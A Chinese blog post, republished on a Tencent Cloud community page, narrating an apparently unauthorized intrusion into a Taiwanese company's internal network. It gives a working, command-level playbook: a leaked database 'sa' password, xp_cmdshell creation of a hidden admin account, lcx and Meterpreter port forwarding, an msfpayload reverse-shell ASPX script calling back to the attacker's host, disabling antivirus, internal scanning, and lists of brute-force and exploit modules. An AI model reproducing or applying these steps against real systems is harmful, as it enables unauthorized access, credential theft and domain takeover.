Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序，Get更优阅读体验！
立即前往
文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布
首页
学习
活动
专区
圈层
工具
MCP广场
返回腾讯云官网
社区首页 >专栏 >记一次MSF综合应用内网渗透记录

记一次MSF综合应用内网渗透记录

作者头像
潇湘信安
发布于 2022-01-21 06:15:56
发布于 2022-01-21 06:15:56
1.4K00
代码可运行
举报
文章被收录于专栏：潇湘信安潇湘信安
运行总次数：0
代码可运行
关联问题
换一批

Date/time：2013年，很久没写技术文章了，记得之前写过MSF的reverse、bind两种反弹方式在实战中的应用，这次来写一篇MSF综合应用到内网渗透的实战文章。

此次渗透过程中也不是很顺利，但最终还是通过种种方法得以解决，本文中将记录遇到的一些难点和解决思路。

0x01 前言

随机找的个台湾某越科技集团下的站点作为此次测试目标，只是为了学习下内网渗透和MSF的使用。13年9月份时拿到了一个子域的Webshell权限后就没再继续测试了，当时服务器没有安装Symantec赛门铁克，但第二次去测试时发现已安装了Symantec，并进行了一些安全加固。

0x02 网站和内网的基本信息搜集

基本信息探测：

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
目标站点：http://www.ttes*****.com
服务器IP：59.***.**.74（台湾省 中华电信）
环境平台：ASP.NET
服务器系统：Microsoft-IIS/6.0（Wind 2003）

网站子域搜集：

表中的这些子域名是前期搜集到的信息，但没想到很顺利的就拿到了Webshell（Fckeditor），如果主站找不到什么漏洞时可以通过“旁站”或“子域”下手。

因为本文着重记录的是MSF工具的使用和难点解决，所以对于怎么拿到的Webshell就不做过多描述了，在拿到权限后搜集到的服务器信息如下。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
端口开放：25、80、135、445、1025、1521、3389
补丁情况：服务器系统打了460+补丁(64位)
脚本探测：服务器支持Asp、Aspx拓展名
磁盘权限：C、D盘都有可读可写权限（大多数）

ipconfig /all命令可以看到这台主机名为：websrv4，IP：192.168.0.203，DNS：192.168.3.1。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
Windows IP Configuration
  Host Name . . . . . . . . . . . . : websrv4
  Connection-specific DNS Suffix  . : 
  IP Address. . . . . . . . . . . . : 192.168.0.203
  Subnet Mask . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . : 192.168.0.254
  DNS Servers . . . . . . . . . . . : 192.168.3.1
                                       168.95.1.1

net view /domain命令可以看到存在两个域和一个工作组：7PV1V1S、TT、WORKGROUP，以及存活主机的对应IP地址如下图，还可以看到当前已控websrv4主机在工作组中。

TT域主机比较多，另放一个表，域控应该是：192.168.3.1，这里可根据自己的经验去分析工作组和各域的组织结构以及各主机所担任的角色。

0x03 Webshell提权之遇防御软件

当前这台已控主机的系统为Windows 2003 X64，虽然知道X64可用提权EXP不多，但也得去尝试下，结果均以失败告终，Oracle提权没接触过，不是很了解，先暂时放一边。

大家都知道ASPX与MSSQL是最佳搭档，在web.config配置文件中找到数据库连接信息，这里可以看到MSSQL数据库是运行在内网192.168.0.206这台主机上，属于站库分离。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
<add name="ttes*****_enConnectionString1" connectionString="Data Source=192.168.0.206;Initial Catalog=ttes*****_global;Persist Security Info=True;User ID=sa;Password=tt@12345" providerName="System.Data.SqlClient"/>

接下来利用大马的数据库管理功能连接192.168.0.206这台内网主机的MSSQL，启用xp_cmdshell组件执行命令加一个管理员用户，再利用portfwd命令将它的3389端口转发出来。

注：有的同学可能会说直接使用大马里的端口映射功能就可以了，是可以，但我反正是没成功过，不知是不是我的姿势有问题，嗯，肯定是的，还是太菜！

已成功添加test$管理员用户，接下来就是使用Lcx端口转发工具了，大家应该都懂的，在203这台主机上传并执行，但转发的可是206这台数据库主机的3389哦。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
C:\RECYCLER\lcx.exe -slave 你的外网IP 51 192.168.0.206 3389

注意事项：

13年9月192.168.0.203这台主机上还没有防御软件，可直接上传Lcx.exe到任意可读写目录，并且正常执行。但写文章时发现已经安装了symantec，Lcx.exe和各种提权EXP在上传过程中都被拦截，也试了常用的Vbs、Bat、Exe，上传、下载、修改拓展等方式，只要被检测为恶意行为的操作都会被拦截。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
symantec endpoint protection Process：smc.exe，snac.exe，ccsvchst.exe，rtvscan.exe
symantec endpoint protection 防御软件的风险日志默认只保存14天，进入服务器后可自行设置

在后期测试中还发现在Fckeditor上传Webshell时也被拦截了，如常见的：一句话、小马、大马等，如下图，可多测试一些过WAF的马儿看下是否能绕过？

测试记录：

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
内网环境，站库分离，web.config找到data(192.168.0.206)SA用户，成功添加管理员用户；
Web(192.168.0.203) 、data(192.168.0.206)都安装了symantec，不能使用Lcx.exe等工具；
测试了其他转发工具要么被拦截，要么无法用，而reDuh只能转发出当前203的，而且速度极慢；
msfpayload生成的Exe文件也被查杀，服务器是X64，msfencode中也没有X64编码器，此路不通；

0x04 绕过防御软件进行端口转发

通过Google搜索在一篇文章中得到思路，使用msfpayload生成一个Aspx反弹脚本，得到meterpreter会话后再用portfwd命令将数据库服务器192.168.0.206的3389端口转发出来。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
msfpayload windows/x64/meterpreter/reverse_tcp LHOST=113.***.*.238 LPORT=12345 R | msfencode -t aspx -o /media/sf_系统学习/test.aspx

msfconsole配置好监听相关选项，把刚生成的test.aspx反弹脚本上传到网站的WEB目录下，然后在浏览器中访问即可得到目标主机会话。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
root@box3:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp 
msf exploit(handler) > set LHOST 192.168.1.7
msf exploit(handler) > set LPORT 12345
msf exploit(handler) > exploit

接着我们再用portfwd命令将内网中数据库服务器192.168.0.206的3389端口给转发出来，且能够正常连接它的3389远程终端了，相关命令参数如下，当时忘了截图！

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.0.206
[*] Local TCP relay created: 0.0.0.0:1234 <-> 192.168.0.206:3389

Usage: portfwd [-h] [add | delete | list | flush] [args]
                     添加   删除    列表   刷新    参数

OPTIONS:
    -h        Help banner.                                 // 帮助
    -L <opt>  The local host to listen on (optional).      // 本地IP地址
    -l <opt>  The local port to listen on.                 // 本地端口号
    -r <opt>  The remote host to connect to.               // 远程IP地址
    -p <opt>  The remote port to connect to.               // 远程端口号

接下来给大家讲下在MSF用Socks4a代理连接内网中的3389，在开启Socks4a代理前必须先得到一个Meterpreter会话，然后直接利用Socks4a模块开启代理，默认执行即可。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
msf auxiliary(socks4a) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
msf auxiliary(socks4a) > 
[*] Starting the socks4a proxy server

配置proxychains代理工具时需要在/etc/proxychains.conf文件底部添加一条"socks4 127.0.0.1 1080"，必须确保与socks4a模块中的SRVHOST、SRVPORT参数是一致的。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
root@box3:~# vi /etc/proxychains.conf

开启Socks4a代理并配置好proxychains代理工具，这时我们就可以在命令终端中直接用proxychains代理msf/nmap/sqlmap/nessus/mysql/sqsh/rdesktop/ftp/ssh等对目标内网其他主机进行扫描测试了。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
root@box3:~# proxychains msfconsole -q
root@box3:~# proxychains rdesktop 192.168.0.206

注：开启了Socks4a代理但无法正常使用时有可能是防火墙的问题，这时可以尝试将SRVHOST参数设置为127.0.0.1，默认为0.0.0.0，端口为1080。切记不要把开代理和代理工具弄混了！！！

2014-07-28：再次测试发现用原来的方法都弹不回来了，接着尝试了reDuh_Gui，reverse_tcp 80端口....等方式，都是数据通了且TCP连接状态为：LISTENING，但就是连接不上或者不给弹回会话。

最后突破及后续思路：使用免杀Lcx.exe工具，本地监听80端口，在进入192.168.0.206数据库服务器后停用Symantec防御软件，然后再运行MSF攻击载荷上线后再对内网其他主机进行进一步渗透。

0x05 获取C段开放端口及系统版本

当前会话下利用get_local_subnets脚本获取本地子网网段，将当前会话与Kali本机建立路由表实现跨路由访问，这样就能直接使用MSF框架下的模块对目标内网其他主机进行扫描测试了。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
meterpreter > run get_local_subnets
Local subnet: 192.168.0.0/255.255.255.0
meterpreter > run autoroute -s 192.168.0.0/255.255.255.0
[*] Adding a route to 192.168.0.0/...
[+] Added route to 192.168.0.0/ via 59.***.**.66
[*] Use the -p option to list all active routes

//1是sessions的会话id，route的时候别弄错了！
msf exploit(handler) > route add 192.168.0.0 255.255.255.0 1

//查看当前活动的所有路由
meterpreter > run autoroute -p
msf exploit(handler) > route print

用MSF下的auxiliary/scanner/portscan/tcp模块对目标内网C段进行批量端口扫描，这个模块可以很方便的探测到整个C段主机的端口开放情况，使我们在后期渗透测试中更能游刃有余。

这里笔者主要就扫了这几个常见端口：21/22/445/1433/3306/3389来做演示。其他更多常见端口有：23/25/80/110/135/139/1521/8080/14147/43958等。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 192.168.0.1-254
msf auxiliary(tcp) > set PORTS 21,22,445,1433,3306,3389
msf auxiliary(tcp) > set THREADS 50
msf auxiliary(tcp) > exploit

如果太慢可以选择适当增加线程，扫描过程中需要等待一段时间，在结束后可以用hosts、services等命令参数来查看扫描结果，前提得连上PostgreSQL数据库，端口扫描结果如下图。

我们还可以利用以下几个模块来探测存活主机，系统版本、软件版本、计算机名、MAC地址、所属工作组或域等等信息，这里只列出了一些常用的模块，图片来自@OffSec！

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/smb/smb_version
auxiliary/scanner/dns/dns_amp
auxiliary/scanner/http/title
auxiliary/scanner/http/http_version
auxiliary/scanner/telnet/telnet_version
auxiliary/scanner/mysql/mysql_version
auxiliary/scanner/postgres/postgres_version
auxiliary/scanner/netbios/nbname
auxiliary/scanner/netbios/nbname_probe    //已删除
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
[...SNIP...]

0x06 常见服务暴力破解和利用模块

在已拿到权限的主机上搜集更多的用户、密码等信息，包括：第三方、SSH/RDP、各种网站/数据库、文本或表格中存储的用户密码，然后再对其进行分析看是否存在规律或通用的可能性，如果有我们则可以根据规律来生成一份高效字典使用以下模块来进行爆破和利用，图片来自@OffSec！

注：有些模块也是在重新编辑这篇文章时新加的，既然都重新整理了，何不弄全一些呢？强迫症又犯了！目前我常用到的也有这些，如果师傅们有其他常用的模块也可以补充下哈。

代码语言：javascript
代码运行次数：0
运行
AI代码解释
复制
auxiliary/scanner/ftp/anonymous
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/ssh/ssh_login_pubkey
auxiliary/dos/windows/ftp/filezilla_admin_user
auxiliary/dos/windows/ftp/filezilla_server_port
post/windows/gather/credentials/flashfxp
post/windows/gather/credentials/smartftp
post/windows/gather/credentials/wsftp_client
post/windows/gather/credentials/filezilla_server
post/windows/gather/credentials/xshell_xftp_password
post/multi/gather/filezilla_client_cred
auxiliary/scanner/smb/smb_login
auxiliary/admin/smb/upload_file
exploit/windows/smb/psexec
exploit/windows/smb/ms08_067_netapi
auxiliary/scanner/smb/smb_ms17_010
exploit/windows/smb/ms17_010_psexec
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/webexec
auxiliary/admin/smb/webexec_command
auxiliary/scanner/smb/impacket/wmiexec
auxiliary/admin/mysql/mysql_enum
auxiliary/admin/mysql/mysql_sql
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/mysql/mysql_hashdump
exploit/windows/mysql/mysql_mof
exploit/multi/mysql/mysql_udf_payload
auxiliary/admin/mssql/mssql_enum
auxiliary/admin/mssql/mssql_exec
auxiliary/admin/mssql/mssql_sql
auxiliary/admin/mssql/mssql_escalate_dbowner
auxiliary/scanner/mssql/mssql_ping
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mssql/mssql_hashdump
exploit/windows/mssql/mssql_clr_payload
exploit/windows/mssql/mssql_payload
exploit/windows/mssql/mssql_payload_sqli
post/windows/manage/enable_rdp
post/windows/gather/enum_termserv
post/windows/gather/credentials/mremote
auxiliary/scanner/rdp/ms12_020_check
auxiliary/dos/windows/rdp/ms12_020_maxchannelids
auxiliary/scanner/rdp/cve_2019_0708_bluekeep
exploit/windows/rdp/cve_2019_0708_bluekeep_rce
exploit/windows/rdp/rdp_doublepulsar_rce
[...SNIP...]

官方使用手册：

https://www.offensive-security.com/metasploit-unleashed/auxiliary-module-reference

0x07 实战过程问题和一些想说的话

一、实战过程问题

MSF中很多Exploit都是不过杀软的，碰到赛门铁克/卡巴斯基/360等几乎完全过不了，@Moker老哥提醒；

  1. 目标属内网环境，只有Webshell权限，这时可以采用迂回战术，先进入内网搜集密码组合字典，然后再去搞我们的目标主机；
  2. 内网中MSF可以扫描A、B段主机吗？答：应该可以，但是扫描A、B段主机的话IDS会瞬间报警，因为流量太大，不建议尝试；
  3. 使用MS08_067_netapi + bind_tcp正向批量溢出时如果内网主机中存在杀毒软件会有拦截提示，动静太大了，也不建议尝试；

问题1.在203的Webshell上用Lcx.exe转发进入206数据库服务器，查看“事件查看器”->“安全性”的源网络地址为什么是192.168.0.203？而主机名又是我本地的主机名，没太弄懂？

回答1：因为连接时是通过203这台服务器转发的数据，所以源网络地址是192.168.0.203，但是数据包是你本机发送的，所以主机名还是你机器名 。如果是使用代理就不会出现这样的情况。

问题2.在203的Webshell连接206数据库服务器，通过xp_cmdshell查看进程中有Symantec防御软件，但为何进入206服务器后在任务管理器中只有系统默认运行进程，没有Symantec进程？

回答2：因为在任务管理器中没有点击查看所有进程，^.^！！！

二、一些想说的话

其实大致思路也就是如上所写，最终拿到了几十台主机权限，包括TT域控权限，只不过由于当时文章写到一半去忙其他事情去了，等过了几个月后再回来测试时发现权限都已经掉光了，所以这篇文章并不是完整的，而且大部分图片也都没有截取到，确实有些遗憾，大家将就着看下吧......！

本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2022-01-04，如有侵权请联系 cloudcommunity@tencent.com 删除
数据库
sql
shell
网站
腾讯云测试服务

本文分享自 潇湘信安 微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ，欢迎热爱写作的你一起参与！

数据库
sql
shell
网站
腾讯云测试服务
评论
登录后参与评论
暂无评论
登录 后参与评论
推荐阅读
编辑精选文章
换一批
万字详解高可用架构设计
1959
Go 开发者必备：Protocol Buffers 入门指南
1082
10分钟带你彻底搞懂分布式链路跟踪
640
多租户的 4 种常用方案
1356
亿级月活的社交 APP，陌陌如何做到 3 分钟定位故障？
1011
60页PPT全解：DeepSeek系列论文技术要点整理
1871
msfconsole是什么意思_msfconsole渗透手机
shellhttps网络安全
以社工等方法获取到xp主机的shell 通过metasploit会话，使用Windows xp靶机作为跳板，扫描和攻击内部网络主机
全栈程序员站长
2022/10/29
5870
msfconsole是什么意思_msfconsole渗透手机
一次实战内网漫游
sshshellpowershellsqltcp/ip
本人喜欢在各大群里吹牛X，突然看到有人问3389端口怎么转发，卧槽搞事情，连忙加上好友怕装X赶不上热乎，从此刻开始了一次内网漫游。
重生信息安全
2020/04/26
1.8K0
一次实战内网漫游
内网渗透-代理篇
linux网络安全socket编程
利用代理工具将内网的流量代理到本地进行访问，这样就可以对内网进行下一步渗透，同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议)，工作在OSI参考模型的第5层（会话层）。使用TCP协议传输数据，因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本：
Power7089
2021/05/27
5.1K0
红蓝对抗 | 内网渗透实战技巧
httpphpmyadmin编程算法网站网络安全
本文章是关于内网方面渗透技巧的一个文章，用的环境是VulnStack1，VulnStack是红日安全团队出的一个内网渗透的靶机环境，感谢红日团队
天钧
2020/03/12
2K0
KALI 内网渗透记录
网络安全shelltcp/ip
虚拟机 KALI: 192.168.180.128 目标机器: 192.168.1.52
院长技术
2020/08/19
2.9K0
使用msf入侵多层级网络架构
网络安全安全
假设，有一个多层网络环境，每层靶机只与相邻服务器互通，那么，如何从Hack的笔记本层层突破，获取到第4层靶机Server5的系统权限呢？
Bypass
2020/06/04
9910
史上最强内网渗透知识点总结
其他
文章内容没谈 snmp 利用，可以去乌云等社区获取，没有后续内网持久化，日志处理等内容。
信安之路
2018/08/08
9.2K0
小白入门学习内网之横向渗透攻击流程
shellpython安全linux
这里有绝对路径的情况下，可直接写入webshell。这里使用sqlmap os-shell的功能
Power7089
2020/05/25
3.2K1
小白入门学习内网之横向渗透攻击流程
Vulnstack1 - 内网部分
爬虫shell迁移网络安全安全
漏洞环境为ATT&CK实战系列——红队实战（一），主要记录拿到Shell后再反弹MSF Shell、Mimikatz抓取密码以及登录域控等内网部分。前面漏洞环境搭建及打点等不作记录，可查看参考文章。 环境 Kali：192.168.8.128，攻击机 Win7： Web服务器，192.168.8.129 域用户stu1.god.org，192.168.52.143 Win2003：域控制器owa.god.org，192.168.52.138 反弹Shell 攻击机制作木马文件，实际环境中需做免杀 $ ms
Naraku
2021/07/29
7780
Vulnstack1 - 内网部分
工具的使用 | Metasploit Framework(MSF)的使用
安全漏洞windows网络安全安全shell
Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点，讲解MSF框架的使用。
谢公子
2022/01/13
2.5K0
工具的使用 | Metasploit Framework(MSF)的使用
实战 | 记一次站库分离的内网渗透
sql servershellsqlwindows数据库
WEB服务器，但是首页只有一个IIS 7的欢迎界面，所以先看一下端口顺便扫个目录。
HACK学习
2021/04/26
2.5K1
实战 | 记一次站库分离的内网渗透
Linux内网渗透
网站sshtcp/ip腾讯云测试服务编程算法
能够成功地通过web漏洞获取到webshell，对于一次完整的渗透测试来说，仅仅相当于万里长征的第一步。并不是所有渗透测试都会遇到几百台机器的大内网。
HACK学习
2019/08/07
7K0
浅谈MSF渗透测试
网络安全安全httpwindows网站渗透测试
在渗透过程中，MSF漏洞利用神器是不可或缺的。更何况它是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。
顾翔
2019/12/12
1.1K0
浅谈MSF渗透测试
一次简单的内网渗透靶场练习
shellphp爬虫
当开启general log为on时，所执行的sql语句都会出现在stu1.log文件中。那么，如果修改generallogfile的值，那么所执行的sql语句就会对应生成对应的文件中，进而getshell。所以为了get shell，我们将general log设为on，将general log file设为C:/phpStudy/WWW/test.php
HACK学习
2020/11/03
2.1K0
一次简单的内网渗透靶场练习
浅谈MSF渗透测试
网络安全安全windowssshshell
在渗透过程中，MSF漏洞利用神器是不可或缺的。更何况它是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。
FB客服
2019/08/20
1.6K0
学习之详细说说MSF渗透测试
网络安全安全httpwindows网站渗透测试
在渗透过程中，MSF漏洞利用神器是不可或缺的。更何况它是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。是信息收集、漏洞扫描、权限提升、内网渗透等集成的工具。
TRY博客-简单的网络技术
2022/07/18
1.7K0
学习之详细说说MSF渗透测试
内网渗透的一次记录
tcp/ip网络安全
‍‍‍ ‍‍在对目标进行渗透‍‍时‍，一般‍情况下，我们首先获得对方‍服务器的webshell或者反弹shell，如果权限比较低，则需要进行权限提升；后续再对目标服务器进行进一步的权限控制。‍‍比如布置后门、‍跳板、‍‍维持权限等‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍；我这就简单的就靶机演示一下内网的渗透。
洛米唯熊
2019/08/05
1K0
内网渗透的一次记录
实战中内网穿透的打法
htmlhttp
在内网渗透时，一个WebShell或CobaltStrike、Metasploit上线等，只是开端，更多是要内网横向移动，扩大战果，打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”，才能进一步攻击。可实战中因为网络环境不同，所利用的方式就不同。
洛米唯熊
2020/04/29
2.7K0
实战中内网穿透的打法
记一次内网渗透靶场学习
tcp/iplinux网站网络安全
首先nmap扫描一下端口发现了1433端口判断是sql server，另外一个特征端口就是7001端口，判断为weblogic端口
红队蓝军
2022/05/17
3340
记一次内网渗透靶场学习
内网靶场实战——ATT&CK实战系列（一）
attset代理权限日志
靶场地址http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 下载过文件后，需配置如下两个虚拟网络（一个内网，一个外网）
用户9691112
2023/05/18
7510
内网靶场实战——ATT&CK实战系列（一）
推荐阅读
编辑精选文章
万字详解高可用架构设计Go 开发者必备：Protocol Buffers 入门指南10分钟带你彻底搞懂分布式链路跟踪多租户的 4 种常用方案亿级月活的社交 APP，陌陌如何做到 3 分钟定位故障？60页PPT全解：DeepSeek系列论文技术要点整理
相关讨论
语音合成内网？内网ip更改？内网读写问题？
相关课程
云开发微搭低代码平台-一人构建企业级应用实战训练营AI绘画-StableDiffusion图像生成EdgeOne一站式玩转网站加速与防护实战营
msfconsole是什么意思_msfconsole渗透手机
5870
一次实战内网漫游
1.8K0
内网渗透-代理篇
5.1K0
红蓝对抗 | 内网渗透实战技巧
2K0
KALI 内网渗透记录
2.9K0
使用msf入侵多层级网络架构
9910
史上最强内网渗透知识点总结
9.2K0
小白入门学习内网之横向渗透攻击流程
3.2K1
Vulnstack1 - 内网部分
7780
工具的使用 | Metasploit Framework(MSF)的使用
2.5K0
实战 | 记一次站库分离的内网渗透
2.5K1
Linux内网渗透
7K0
浅谈MSF渗透测试
1.1K0
一次简单的内网渗透靶场练习
2.1K0
浅谈MSF渗透测试
1.6K0
学习之详细说说MSF渗透测试
1.7K0
内网渗透的一次记录
1K0
实战中内网穿透的打法
2.7K0
记一次内网渗透靶场学习
3340
内网靶场实战——ATT&CK实战系列（一）
7510
相关推荐
msfconsole是什么意思_msfconsole渗透手机
更多 >
踏歌行0
LV.1
这个人很懒，什么都没有留下～
文章
158
获赞
415
专栏
1
作者相关精选
换一批
加入讨论
的问答专区 >
羑悻的小杀马特.0
相关课程
一站式学习中心 >
云开发微搭低代码平台-一人构建企业级应用实战训练营
1919人在学
腾讯云微搭低代码
云开发
AI绘画-StableDiffusion图像生成
1680人在学
大模型图像创作引擎
高性能应用服务
EdgeOne一站式玩转网站加速与防护实战营
1292人在学
EdgeOne
领券

腾讯云开发者

扫码关注腾讯云开发者

扫码关注腾讯云开发者

领取腾讯云代金券

热门产品

热门推荐

更多推荐

Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有 

深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 深公网安备号 44030502008569

腾讯云计算（北京）有限责任公司 京ICP证150476号 |  京ICP备11018762号 | 京公网安备号11010802020287

问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档

Copyright © 2013 - 2025 Tencent Cloud.

All Rights Reserved. 腾讯云 版权所有

登录 后参与评论
2
本文部分代码块支持一键运行，欢迎体验
本文部分代码块支持一键运行，欢迎体验